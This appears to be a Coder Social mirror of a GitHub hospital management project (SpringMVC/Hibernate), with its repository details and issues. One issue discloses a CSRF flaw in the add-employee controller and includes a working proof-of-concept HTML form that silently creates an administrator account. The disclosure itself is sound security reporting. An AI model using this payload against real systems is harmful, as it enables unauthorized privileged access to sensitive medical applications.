Coder Social home page Coder Social logo

rid17pawar / hospitalmanagement Goto Github PK

View Code? Open in Web Editor NEW
170.0 5.0 80.0 22.39 MB

hospital management system project is developed using SpringMVC and Hibernate frameworks, Bootstrap for UI, MySQL database for data storage and Maven as project management tool.

Java 100.00%
hibernate springmvc hospital-management bootstrap4 javascript mysql

hospitalmanagement's People

Contributors

dependabot[bot] avatar rid17pawar avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

hospitalmanagement's Issues

Database password error

Hello and Aaslam u Alikum, Mam I need a little help in setting up the Hospital management System project you made. Everything is fine I just need to know where do I need to insert my database password to establish connection with MySQL. I get password error when I click on login.

There is a csrf vulnerability in src/main/java/com/project/controller/administrator/AddEmployeeController.java.

code
csrf payload:

<title>csrf</title>

csrf test!

    <form action="http://10.25.10.161:8080/HospitalManagement_war_exploded/addEmployee.html" method="POST">
        <input name="firstName" value="test" type="hidden"/>
        <input name="middleName" value="test" type="hidden"/>
        <input name="lastName" value="test" type="hidden"/>
        <input name="birthdate" value="1994-06-08" type="hidden"/>
        <input name="gender" value="female" type="hidden"/>
        <input name="email" value="123123123%40qq.com" type="hidden"/>
        <input name="mobileNo" value="111111111" type="hidden"/>
        <input name="adharNo" value="11111111" type="hidden"/>
        <input name="country" value="test" type="hidden"/>
        <input name="state" value="test" type="hidden"/>
        <input name="city" value="test" type="hidden"/>
        <input name="residentialAddress" value="test" type="hidden"/>
        <input name="permanentAddress" value="test" type="hidden"/>
        <input name="role" value="administrator" type="hidden"/>
        <input name="qualification" value="test" type="hidden"/>
        <input name="specialization" value="test" type="hidden"/>
        <input type="submit" value="click me!"/>
    </form>
</body>

Due to the backend not checking the Referer of the request and not using CSRF tokens to prevent CSRF vulnerabilities, it is possible to induce administrators to perform high-privileged operations.
csrf2
csrf3

Getting error while login with username and password

Hi, @rid17pawar

I am trying to login with doctor/administration/receptionist username and the password which you mentioned in the databaseFiles and demoLoginCredentials/loginPasswordsForDemo.txt file. however it is showing No such account exists. Please insert valid credentials
Can you suggest what is the issue here ?
i have already imported the database
image

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.